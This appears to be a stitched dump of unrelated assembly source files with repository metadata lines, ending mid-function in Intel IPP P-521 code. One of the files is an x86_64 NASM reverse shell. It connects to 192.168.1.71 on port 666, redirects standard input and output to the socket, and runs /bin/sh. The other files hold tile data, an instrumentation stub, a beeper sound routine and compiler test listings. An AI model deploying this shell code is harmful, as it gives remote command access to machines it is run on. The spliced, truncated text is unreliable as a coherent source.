00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
50.120879
2,999
0.660381
cd9e5cfc4811bddc6f1f9da8afbc36c06bc828f9
6,387
asm
Assembly
python_src/other/export/map_tiles.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
43
2017-10-21T23:01:25.000Z
2022-02-21T17:45:11.000Z
python_src/other/export/map_tiles.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
null
null
null
python_src/other/export/map_tiles.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
6
2017-10-23T05:48:50.000Z
2022-01-06T03:11:49.000Z
org $C000 level_tiles: DB 0,0,0,0,0,0,0,0 DB 7,31,63,127,127,255,255,255 DB 224,248,252,254,254,255,255,254 DB 4,1,0,64,0,4,0,0 DB 0,0,0,0,0,4,0,0 DB 0,0,0,16,0,0,0,0 DB 0,0,16,40,16,0,0,0 DB 0,0,0,22,111,223,255,223 DB 0,0,15,247,222,125,254,253 DB 0,21,175,255,255,255,255,255 DB 252,246,191,127,255,127,255,255 DB 10,17,2,40,69,14,117,128 DB 1,78,20,41,192,168,1,16 DB 128,114,40,148,3,21,128,8 DB 80,136,64,20,162,112,174,1 DB 90,133,0,24,32,0,0,0 DB 208,13,0,0,7,10,64,0 DB 58,80,0,0,80,0,0,0 DB 122,149,0,0,0,0,0,0 DB 255,255,255,127,127,63,31,6 DB 255,254,255,254,254,252,248,160 DB 48,36,18,32,16,36,64,96 DB 0,117,98,80,32,80,104,48 DB 0,170,117,42,20,137,64,0 DB 0,0,125,170,87,34,64,8 DB 0,70,18,0,34,68,34,4 DB 5,2,81,42,4,14,4,10 DB 90,133,0,24,32,0,176,11 DB 208,13,0,0,7,10,161,94 DB 0,170,1,2,20,169,82,36 DB 12,86,143,91,169,46,148,64 DB 48,106,241,218,149,116,41,2 DB 0,85,128,64,40,149,74,36 DB 0,44,126,90,44,90,52,90 DB 0,168,84,162,116,170,80,170 DB 60,90,116,42,92,62,84,58 DB 84,138,84,162,84,170,16,170 DB 16,16,8,8,8,4,4,4 DB 8,8,16,16,16,32,32,32 DB 64,96,208,168,197,128,128,68 DB 2,6,11,21,163,1,1,34 DB 44,90,52,90,44,90,126,44 DB 84,170,80,170,116,162,84,168 DB 0,3,12,17,39,44,88,89 DB 0,192,48,136,228,52,26,154 DB 96,0,96,0,48,0,48,0 DB 6,0,6,0,12,0,12,0 DB 160,64,138,84,32,112,32,80 DB 0,33,84,57,28,74,37,67 DB 0,20,182,18,180,34,20,134 DB 68,32,84,34,16,40,17,40 DB 4,4,68,68,44,44,52,20 DB 4,4,132,140,140,140,140,140 DB 64,117,59,27,67,37,137,25 DB 1,87,174,76,225,82,72,72 DB 95,62,21,31,47,95,127,191 DB 70,140,24,136,4,202,166,195 DB 0,93,185,117,53,25,45,0 DB 0,186,157,174,172,152,180,0 DB 127,60,24,0,128,192,227,255 DB 0,28,34,73,93,93,89,85 DB 0,248,124,58,60,62,52,0 DB 0,0,6,62,116,96,54,92 DB 0,0,240,248,8,4,4,8 DB 0,0,15,31,16,32,32,16 DB 0,0,96,124,46,6,108,58 DB 255,254,60,24,0,1,131,231 DB 0,52,74,80,66,40,20,0 DB 52,74,80,66,40,20,0,0 DB 105,100,40,69,41,68,45,0 DB 84,226,114,168,20,142,54,0 DB 56,16,40,20,40,48,33,20 DB 0,16,32,4,2,160,84,1 DB 0,16,32,2,32,20,170,117 DB 2,0,42,68,2,0,66,150 DB 25,25,45,109,110,118,247,247 DB 156,156,152,152,184,184,56,56 DB 0,122,96,85,0,34,17,34 DB 0,170,86,174,0,36,0,36 DB 29,78,6,39,2,138,65,169 DB 84,41,144,228,161,162,69,202 DB 191,255,191,127,95,46,27,6 DB 165,194,165,194,70,140,24,160 DB 28,12,4,22,10,8,7,5 DB 56,48,32,104,80,16,224,160 DB 126,94,82,66,80,66,16,66 DB 0,127,0,117,126,125,106,0 DB 8,42,8,42,52,58,52,0 DB 60,84,37,23,6,27,2,24 DB 60,42,164,232,96,216,64,24 DB 60,126,106,52,28,32,28,0 DB 0,15,63,103,181,209,64,0 DB 130,197,249,154,40,36,4,0 DB 255,66,90,60,24,16,40,36 DB 192,88,62,1,254,0,20,18 DB 171,255,10,221,42,213,2,213 DB 235,212,239,125,128,85,160,85 DB 16,34,17,34,1,34,1,34 DB 0,36,248,4,248,36,0,36 DB 48,8,2,48,56,36,65,96 DB 2,6,42,150,58,12,0,111 DB 0,36,18,36,48,36,52,32 DB 0,0,136,221,136,0,0,0 DB 16,50,16,34,48,58,20,8 DB 0,36,0,36,32,52,60,24 DB 70,44,110,84,94,84,46,100 DB 54,108,54,108,86,36,86,44 DB 70,44,110,68,66,0,2,0 DB 54,108,54,108,34,68,2,0 DB 0,53,126,92,40,64,97,62 DB 0,170,117,106,152,13,25,13 DB 0,0,125,169,81,8,153,8 DB 0,70,18,56,114,100,2,164 DB 71,32,94,62,20,32,23,32 DB 8,128,4,64,4,128,8,1 DB 128,64,23,130,0,143,21,32 DB 1,2,253,170,4,254,68,10 DB 0,64,16,68,86,44,86,44 DB 0,0,0,4,66,84,42,100 DB 52,32,31,32,24,47,66,120 DB 41,77,4,8,4,196,162,16 DB 156,12,134,3,128,64,31,5 DB 126,1,171,255,1,1,253,82 DB 48,32,63,21,40,48,35,20 DB 17,224,130,4,26,224,84,1 DB 0,67,64,68,96,68,174,117 DB 226,88,14,4,98,240,66,150 DB 0,2,5,11,22,26,36,40 DB 0,0,80,40,68,160,74,0 DB 16,40,0,42,20,2,1,0 DB 36,138,4,64,20,40,192,0 DB 24,52,124,250,252,10,48,28 DB 120,5,157,115,15,126,1,170 DB 0,21,63,103,67,65,99,191 DB 0,212,122,253,126,125,62,133 DB 62,65,75,199,222,192,62,3 DB 84,42,18,43,81,4,116,150 DB 25,57,114,64,30,107,171,254 DB 107,221,234,53,46,53,42,127 DB 21,64,128,10,144,0,0,144 DB 84,2,1,80,9,0,9,0 DB 0,128,0,144,0,0,144,0 DB 0,9,0,1,0,8,1,0 DB 128,0,128,0,128,0,0,128 DB 0,0,0,0,0,0,0,165 DB 0,0,0,0,3,15,54,233 DB 2,15,54,233,198,152,96,128 DB 102,24,96,128,0,0,0,0 DB 0,2,8,32,16,32,0,128 DB 0,34,117,62,61,26,21,10 DB 1,8,9,8,17,16,33,202 DB 31,127,0,85,2,85,127,0 DB 86,253,26,65,128,1,42,0 DB 124,255,255,93,42,1,42,84 DB 230,47,201,92,28,62,86,171 DB 0,0,34,51,34,85,102,119 DB 255,85,42,55,42,53,46,85 DB 1,0,1,0,0,1,0,1 DB 149,0,0,0,0,0,0,0 DB 0,2,8,4,8,16,8,160 DB 0,18,18,18,50,51,51,51 DB 0,36,36,36,12,12,76,92 DB 119,119,103,103,231,231,231,231 DB 92,72,104,106,98,54,54,54 DB 0,64,0,0,0,32,0,0 DB 0,0,0,8,0,0,4,0 DB 0,0,0,16,0,0,32,0 DB 0,8,0,0,0,16,0,0 DB 0,8,0,0,4,0,0,4 DB 16,0,0,32,0,0,32,0 DB 0,14,60,17,3,7,75,229 DB 28,58,125,190,221,255,239,215 DB 0,0,112,232,245,255,247,93 DB 0,0,0,6,207,224,160,84 DB 0,64,16,4,8,4,0,1 DB 0,0,32,0,0,64,0,0 DB 0,0,8,0,0,4,0,0 DB 0,64,16,32,16,8,16,5 DB 60,126,86,44,56,4,56,0 DB 7,31,57,113,99,231,255,223 DB 16,16,24,24,184,185,189,126 DB 8,9,137,137,219,219,189,190 DB 0,2,0,8,0,2,0,0 DB 0,0,0,0,32,0,136,0 DB 16,0,144,8,4,10,151,124 DB 0,4,8,4,168,113,170,5 DB 2,32,4,72,152,157,3,0 DB 0,32,16,32,21,142,85,160 DB 253,252,253,250,242,228,24,160 DB 183,107,246,109,255,85,40,4 DB 0,12,182,174,182,94,12,0 DB 183,107,246,109,191,85,40,4 DB 0,0,0,0,0,0,1,0 DB 64,0,16,0,64,0,0,0 DB 0,68,0,16,0,0,0,0 DB 2,0,0,0,0,0,0,0 DB 0,15,0,30,0,15,0,7 DB 0,80,0,168,0,96,0,80 DB 0,7,53,39,55,42,59,0 DB 0,160,76,164,76,148,92,0 DB 0,60,126,86,44,56,4,56 DB 0,80,0,168,0,80,0,96 DB 1,2,3,2,1,0,1,0 DB 64,128,192,128,64,128,0,128 DB 0,28,34,20,16,20,16,20 DB 0,0,108,190,250,116,40,16 DB 0,126,66,67,66,66,126,0 DB 0,0,0,254,170,28,20,0 DB 0,126,66,103,36,24,24,0 DB 0,60,102,67,66,102,60,0 DB 0,3,43,117,249,189,95,53 DB 0,160,212,230,247,253,170,84 DB 0,56,118,191,250,255,86,40 DB 0,0,0,6,252,6,0,0 DB 20,42,42,93,88,85,34,20 DB 0,15,62,124,254,125,170,84 DB 0,128,0,208,108,52,80,96 DB 28,110,246,240,244,108,24,0 DB 0,12,54,122,120,54,4,0 DB 0,12,20,56,20,14,4,0 DB 49,104,64,1,3,3,1,0 DB 1,136,192,192,128,16,24,48 DB 33,131,3,1,0,0,8,12 DB 128,192,16,49,152,24,16,0 DB 1,2,0,156,62,28,4,1 DB 192,100,166,12,8,144,193,128 DB 5,48,96,48,9,3,131,1 DB 38,19,65,128,192,224,192,208 DB 170,15,63,254,63,0,1,10 DB 170,248,192,0,128,232,128,0 DB 85,15,3,15,63,7,0,0 DB 85,224,250,224,0,224,20,160 DB 170,31,7,1,80,3,15,1 DB 170,240,192,240,250,224,0,212 DB 85,31,126,31,3,7,46,3 DB 85,240,0,128,234,128,0,80 DB 129,69,89,35,35,26,5,0 DB 2,68,52,136,136,176,64,0
26.502075
34
0.663692
bc02b8004bbb037dbc3ecdefb15020c092004d04
2,002
asm
Assembly
src/ExecBlock/win-X86_Stub.asm
ufo2011/QBDI
c7d60fe7dcff23c9616b11f99f50fed2f4d66ede
[ "Apache-2.0" ]
1
2021-02-17T21:59:23.000Z
2021-02-17T21:59:23.000Z
src/ExecBlock/win-X86_Stub.asm
ufo2011/QBDI
c7d60fe7dcff23c9616b11f99f50fed2f4d66ede
[ "Apache-2.0" ]
null
null
null
src/ExecBlock/win-X86_Stub.asm
ufo2011/QBDI
c7d60fe7dcff23c9616b11f99f50fed2f4d66ede
[ "Apache-2.0" ]
null
null
null
; This file is part of QBDI. ; ; Copyright 2017 Quarkslab ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. .386 .xmm .model flat, C _TEXT segment PUBLIC qbdi_runCodeBlockSSE PUBLIC qbdi_runCodeBlockAVX .CODE qbdi_runCodeBlockSSE PROC mov eax, [esp+4]; mov edx, esp; sub esp, 512; and esp, -512; fxsave [esp]; pushad; call eax; popad; fxrstor [esp]; mov esp, edx; ret; qbdi_runCodeBlockSSE ENDP qbdi_runCodeBlockAVX PROC mov eax, [esp+4]; mov edx, esp; sub esp, 1024; and esp, -1024; fxsave [esp]; vextractf128 xmmword ptr [esp+512], ymm0, 1; vextractf128 xmmword ptr [esp+528], ymm1, 1; vextractf128 xmmword ptr [esp+544], ymm2, 1; vextractf128 xmmword ptr [esp+560], ymm3, 1; vextractf128 xmmword ptr [esp+576], ymm4, 1; vextractf128 xmmword ptr [esp+592], ymm5, 1; vextractf128 xmmword ptr [esp+608], ymm6, 1; vextractf128 xmmword ptr [esp+624], ymm7, 1; pushad; call eax; popad; fxrstor [esp]; vinsertf128 ymm0, ymm0, xmmword ptr [esp+512], 1; vinsertf128 ymm1, ymm1, xmmword ptr [esp+528], 1; vinsertf128 ymm2, ymm2, xmmword ptr [esp+544], 1; vinsertf128 ymm3, ymm3, xmmword ptr [esp+560], 1; vinsertf128 ymm4, ymm4, xmmword ptr [esp+576], 1; vinsertf128 ymm5, ymm5, xmmword ptr [esp+592], 1; vinsertf128 ymm6, ymm6, xmmword ptr [esp+608], 1; vinsertf128 ymm7, ymm7, xmmword ptr [esp+624], 1; mov esp, edx; ret; qbdi_runCodeBlockAVX ENDP END
27.424658
74
0.682817
5f47385c25eb132ac24dffef47688faf668e5b80
2,222
asm
Assembly
CLICK_DRUMS/noise/noise.asm
bushy555/ZX-Spectrum-1-Bit-Routines
4d336dec9d7abc979a97af76d515104a9263f127
[ "BSD-3-Clause" ]
59
2015-02-28T14:15:56.000Z
2022-03-26T12:06:01.000Z
CLICK_DRUMS/noise/noise.asm
bushy555/ZX-Spectrum-1-Bit-Routines
4d336dec9d7abc979a97af76d515104a9263f127
[ "BSD-3-Clause" ]
1
2016-08-22T05:32:43.000Z
2016-08-22T09:33:28.000Z
CLICK_DRUMS/noise/noise.asm
bushy555/ZX-Spectrum-1-Bit-Routines
4d336dec9d7abc979a97af76d515104a9263f127
[ "BSD-3-Clause" ]
9
2015-02-28T14:16:31.000Z
2022-01-18T17:52:48.000Z
;;; zx beeper noise generator click drum ;;; by utz 09'2019 * irrlichtproject.de ;;; based on el cheapo PRNG with improvements by Shiru ;;; ;;; USAGE: 1) Define DRUM_RETURN_ADDRESS ;;; 2) Set up the stack: SP+0 - 0, SP+1 - volume ((1..7)<<4) ;;; SP+2 - pitch (1..0xff, 1 is highest) ;;; SP+4 - length ;;; 3) JP noise_init ;;; ;;; TIMING: length * 112 + (length - 1) * 13 + 8 cycles ;;; ;;; REGISTER USAGE: F destroyed, SP += 4 noise_init ld (_oldHL),hl ; 16 ld (_oldDE),de ; 20 ld (_oldBC),bc ; 20 ld (_oldIX),ix ; 20 ld (_oldA),a ; 13 pop af ; 10 volume ld (_volume),a ; 13 pop bc ; 10 pitch|length<<8 ld ixl,c ; 8 ld de,#2157 ; 10 initial PRNG seed xor a ; 4 ld h,a ; 4 ld l,a ; 4 ld ixh,#fe ; 11 -- init: 163 adjust timer lo _loop out (#fe),a ; 11__33 dec c ; 4 jr nz,_no_update ; 12/7 ld c,ixl ; 8 restore pitch add hl,de ; 11 el cheapo PRNG rlc h ; 8 inc d ; 4 -- 48 _wait_return ld a,h ; 4 _volume equ $+1 and #30 ; 7 out (#fe),a ; 11__64 rrca ; 4 out (#fe),a ; 11__15 rrca ; 4 dec ixh ; 4 jp nz,_loop ; 10 --- 112 djnz _loop _oldHL equ $+1 ld hl,0 ; 10 _oldDE equ $+1 ld de,0 ; 10 _oldBC equ $+1 ld bc,0 ; 10 _oldIX equ $+2 ld ix,0 ; 10 _oldA equ $+1 ld a,0 ; 7 jp DRUM_RETURN_ADDRESS ; 14 -- exit 61, init+exit 224 _no_update ;+12 ds 6 ; 24 jr _wait_return ; 12 -- 48
31.742857
68
0.359136
07259f1a3c046c0fc3c86d6c14c4edd231f9400d
151
asm
Assembly
t/hello.asm
cygx/moar-assembler
439ed23ddba4f3a552b26cb47c564a725919df5d
[ "BSL-1.0" ]
2
2016-12-17T12:36:05.000Z
2018-10-31T14:42:04.000Z
t/hello.asm
cygx/moar-assembler
439ed23ddba4f3a552b26cb47c564a725919df5d
[ "BSL-1.0" ]
null
null
null
t/hello.asm
cygx/moar-assembler
439ed23ddba4f3a552b26cb47c564a725919df5d
[ "BSL-1.0" ]
1
2016-12-14T08:42:35.000Z
2016-12-14T08:42:35.000Z
.hll asm .frame main .locals int obj getcode %1 &hello .call %1 exit %0 .frame hello .var str hello "hello world" say $hello
12.583333
32
0.589404
3c2ae8d5a7f3d4846a074b941aaa27e7498e83d6
3,924
asm
Assembly
cc4x86/tests/regressive/asm_listings/switch__optimize_noregalloc.asm
artyompal/C-compiler
0c13e96b926d4c3282be8e9629cbc7ba439ea2d4
[ "MIT" ]
4
2017-03-19T20:10:55.000Z
2022-01-20T08:34:25.000Z
cc4x86/tests/regressive/asm_listings/switch__optimize_noregalloc.asm
artyompal/C-compiler
0c13e96b926d4c3282be8e9629cbc7ba439ea2d4
[ "MIT" ]
null
null
null
cc4x86/tests/regressive/asm_listings/switch__optimize_noregalloc.asm
artyompal/C-compiler
0c13e96b926d4c3282be8e9629cbc7ba439ea2d4
[ "MIT" ]
null
null
null
.686 .model flat .xmm .code _test_case proc create_stack_frame mov dword17,3 cmp dword17,1 je label0001 cmp dword17,2 je label0002 cmp dword17,3 je label0003 jmp label0004 label0001: label0002: mov dword12,-1 set_retval dword12 destroy_stack_frame ret label0003: mov dword13,0 set_retval dword13 destroy_stack_frame ret label0004: mov dword14,1 set_retval dword14 destroy_stack_frame ret _test_case endp _test_case2 proc create_stack_frame mov dword19,3 cmp dword19,0 je label0001 cmp dword19,1 je label0002 cmp dword19,2 je label0003 cmp dword19,3 je label0004 jmp label0005 label0001: mov dword14,-1 set_retval dword14 destroy_stack_frame ret label0002: label0003: label0004: mov dword15,0 set_retval dword15 destroy_stack_frame ret label0005: mov dword16,1 set_retval dword16 destroy_stack_frame ret _test_case2 endp _test_default proc create_stack_frame mov dword19,100 cmp dword19,1 je label0001 cmp dword19,2 je label0002 jmp label0003 label0001: label0002: mov dword14,-1 set_retval dword14 destroy_stack_frame ret label0003: mov dword15,0 set_retval dword15 destroy_stack_frame ret _test_default endp _test proc create_stack_frame ; start of inline function test_case mov dword62,3 cmp dword62,1 je label0004 cmp dword62,2 je label0005 cmp dword62,3 je label0006 jmp label0007 label0004: label0005: mov dword63,-1 jmp label0008 label0006: mov dword63,0 jmp label0008 label0007: mov dword63,1 label0008: ; end of inline function test_case cmp dword63,0 je label0000 mov dword3,1 set_retval dword3 destroy_stack_frame ret label0000: ; start of inline function test_case2 mov dword65,3 cmp dword65,0 je label000a cmp dword65,1 je label000b cmp dword65,2 je label000c cmp dword65,3 je label000d jmp label000e label000a: mov dword66,-1 jmp label000f label000b: label000c: label000d: mov dword66,0 jmp label000f label000e: mov dword66,1 label000f: ; end of inline function test_case2 cmp dword66,0 je label0001 mov dword6,1 set_retval dword6 destroy_stack_frame ret label0001: ; start of inline function test_default mov dword68,100 cmp dword68,1 je label0011 cmp dword68,2 je label0012 jmp label0013 label0011: label0012: mov dword69,-1 jmp label0016 label0013: mov dword69,0 label0016: ; end of inline function test_default cmp dword69,0 je label0002 mov dword9,1 set_retval dword9 destroy_stack_frame ret label0002: mov dword10,0 set_retval dword10 destroy_stack_frame ret _test endp end
22.295455
40
0.510194
304f9b1f4cf7c588fd03c2e5b569de84632cbe8f
1,757
asm
Assembly
reverse_shell_nasm_x86_64/reverse_shell.asm
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
4
2021-04-23T15:39:17.000Z
2021-12-27T22:53:24.000Z
reverse_shell_nasm_x86_64/reverse_shell.asm
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
null
null
null
reverse_shell_nasm_x86_64/reverse_shell.asm
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
2
2021-04-19T08:28:54.000Z
2022-01-19T13:23:29.000Z
;nasm -f elf64 reverse_shell.asm && ld reverse_shell.o -o rev_shell ;Simple Reverse Shell (x86_64) 64 BITS ;syscall list (/usr/include/asm/unistd_64.h) ;socketcall number (/usr/include/linux/net.h) ;Author : Unam3dd BITS 64 section .text global _start _start: jmp _init_socket ; Init Socket _init_socket: xor rdx, rdx ; Flags = 0 (xor rdx, rdx = mov rdx, 0x0) mov rsi, 1 ; SOCK_STREAM = 1 in (/usr/include/linux/net.h) ;push 1 ;pop rsi mov rdi, 2 ; AF_INET = PF_INET = 2 in (/usr/include/x86_64-linux-gnu/bits/socket.h or locate bits/socket.h) mov rax, 41 ; socket syscall syscall; int 0x80 kernel interuption jmp _struct_sockaddr_in _struct_sockaddr_in: ;struct sockaddr_in push 0x4701a8c0 ; push the address in Network Byte Order (192.168.1.71) mov bx,0x9a02 ; push to short network byte order 666 push bx mov bx, 0x2 ; Push AF_INET = 2 push bx jmp _connect _connect: mov rsi, rsp ; save address of our struct lets etablish the connection mov rdx, 0x10 ; size of the struct mov rdi, rax ; socket file descriptor push rax ; call connect syscall mov rax, 42 ; Make the Connection syscall jmp dup_fd dup_fd: pop rdi mov rsi, 2 mov rax, 33 syscall ; sys_dup2(socket_fd,2) dec rsi mov rax, 33 syscall ; sys_dup2(socket_fd,1) dec rsi mov rax, 33 syscall ; sys_dup2(socket_fd,0) mov r8, 0x68732f6e69622f2f ; //bin/sh in little endian shr r8, 0x8; push r8 mov rdi,rsp xor rdx, rdx push rdx push rdi mov rsi,rsp mov rax, 59 syscall jmp _exit _exit: xor rdi, rdi ; NULL exit status (xor rdi,rdi | mov rdi,0x0) mov rax, 60 ; exit syscall syscall ; int 0x80
22.818182
112
0.660216
152aaf76c82ffc13308abfaa0df319be07f7355a
28,882
asm
Assembly
sources/ippcp/asm_intel64_gas_converted/linux/nonpic/m7/merged/pcpp521r1funcs_montas.asm
idesai/ipp-crypto
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
[ "Apache-2.0" ]
1
2020-11-03T21:30:58.000Z
2020-11-03T21:30:58.000Z
sources/ippcp/asm_intel64_gas_converted/linux/pic/m7/merged/pcpp521r1funcs_montas.asm
idesai/ipp-crypto
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
[ "Apache-2.0" ]
null
null
null
sources/ippcp/asm_intel64_gas_converted/linux/pic/m7/merged/pcpp521r1funcs_montas.asm
idesai/ipp-crypto
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
[ "Apache-2.0" ]
null
null
null
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 LOne: .long 1,1,1,1,1,1,1,1 LTwo: .long 2,2,2,2,2,2,2,2 LThree: .long 3,3,3,3,3,3,3,3 Lpoly: .quad 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff .quad 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff .quad 0xffffffffffffffff, 0xffffffffffffffff, 0x1ff .p2align 4, 0x90 .globl m7_p521r1_mul_by_2 .type m7_p521r1_mul_by_2, @function m7_p521r1_mul_by_2: push %r12 push %r13 push %r14 push %r15 xor %rcx, %rcx movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 movq (32)(%rsi), %r12 movq (40)(%rsi), %r13 movq (48)(%rsi), %r14 movq (56)(%rsi), %r15 movq (64)(%rsi), %rax shld $(1), %rax, %rcx shld $(1), %r15, %rax shld $(1), %r14, %r15 shld $(1), %r13, %r14 shld $(1), %r12, %r13 shld $(1), %r11, %r12 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 movq %rax, (64)(%rdi) movq %r15, (56)(%rdi) movq %r14, (48)(%rdi) movq %r13, (40)(%rdi) movq %r12, (32)(%rdi) movq %r11, (24)(%rdi) movq %r10, (16)(%rdi) movq %r9, (8)(%rdi) movq %r8, (%rdi) subq Lpoly+0(%rip), %r8 sbbq Lpoly+8(%rip), %r9 sbbq Lpoly+16(%rip), %r10 sbbq Lpoly+24(%rip), %r11 sbbq Lpoly+32(%rip), %r12 sbbq Lpoly+40(%rip), %r13 sbbq Lpoly+48(%rip), %r14 sbbq Lpoly+56(%rip), %r15 sbbq Lpoly+64(%rip), %rax sbb $(0), %rcx movq (%rdi), %rdx cmovne %rdx, %r8 movq (8)(%rdi), %rdx cmovne %rdx, %r9 movq (16)(%rdi), %rdx cmovne %rdx, %r10 movq (24)(%rdi), %rdx cmovne %rdx, %r11 movq (32)(%rdi), %rdx cmovne %rdx, %r12 movq (40)(%rdi), %rdx cmovne %rdx, %r13 movq (48)(%rdi), %rdx cmovne %rdx, %r14 movq (56)(%rdi), %rdx cmovne %rdx, %r15 movq (64)(%rdi), %rdx cmovne %rdx, %rax movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) movq %r12, (32)(%rdi) movq %r13, (40)(%rdi) movq %r14, (48)(%rdi) movq %r15, (56)(%rdi) movq %rax, (64)(%rdi) pop %r15 pop %r14 pop %r13 pop %r12 ret .Lfe1: .size m7_p521r1_mul_by_2, .Lfe1-(m7_p521r1_mul_by_2) .p2align 4, 0x90 .globl m7_p521r1_div_by_2 .type m7_p521r1_div_by_2, @function m7_p521r1_div_by_2: push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq 